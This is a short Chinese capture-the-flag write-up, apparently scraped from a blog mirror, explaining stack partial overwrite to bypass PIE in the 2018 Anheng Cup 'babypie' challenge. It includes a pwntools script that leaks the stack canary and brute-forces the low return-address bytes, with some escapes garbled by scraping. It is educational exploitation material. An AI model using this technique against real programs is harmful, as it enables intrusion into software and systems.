zoukankan      html  css  js  c++  java
  • 栈上的 partial overwrite

    partial overwrite 部分覆盖

    用到该方法的情况是:存在PIE并且获取某函数地址有一定难度

    这时候因为PIE不会修改地址最后几位数如图

    可以发现每个函数之后末尾3位不同

    所以我们可以仅修改末尾的4位(因为每个字符相当于占两位 无法只修改三位)

    这样就有一定的概率返回到我们想要的正确函数地址

    安恒杯 2018 年 7 月月赛的 babypie

    有canary保护 

    read读满不会追加/0 就可以顺带把标志位printf出来

    正确拼凑padding之后追加'x3Ex0A'

    进行while 1 方式的尝试 无限回车即可

    效果大概是这样的

    from pwn import *
    
    while 1:
        io=process('./pie',timeout=1)
        io.recvuntil('Name:
    ')
        io.sendline('A'*0x28)
        io.recvuntil('A'*0x28+'
    ')
        canary=u64(io.recvn(7).rjust(8,'x00'))
        print 'canary:'+hex(canary)
        io.recvuntil(':
    ')
        payload='A'*0x28+p64(canary)+'A'*8+'x3Ex0A'
        io.send(payload)
        io.interactive()
        io.close()
    # 55C4259F7A6A
    # 55C4259F7A3E
    # 55C4259F7960
  • 相关阅读:
    C语言实验报告
    C语言实验报告
    第四次作业4-树和二叉树
    第03次作业-栈和队列
    第02次作业-线性表
    Data_Structure01-绪论作业
    C语言第二次实验报告
    C语言实验报告
    第04次作业-树
    第03次作业-栈和队列
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/11923130.html
Copyright © 2011-2022 走看看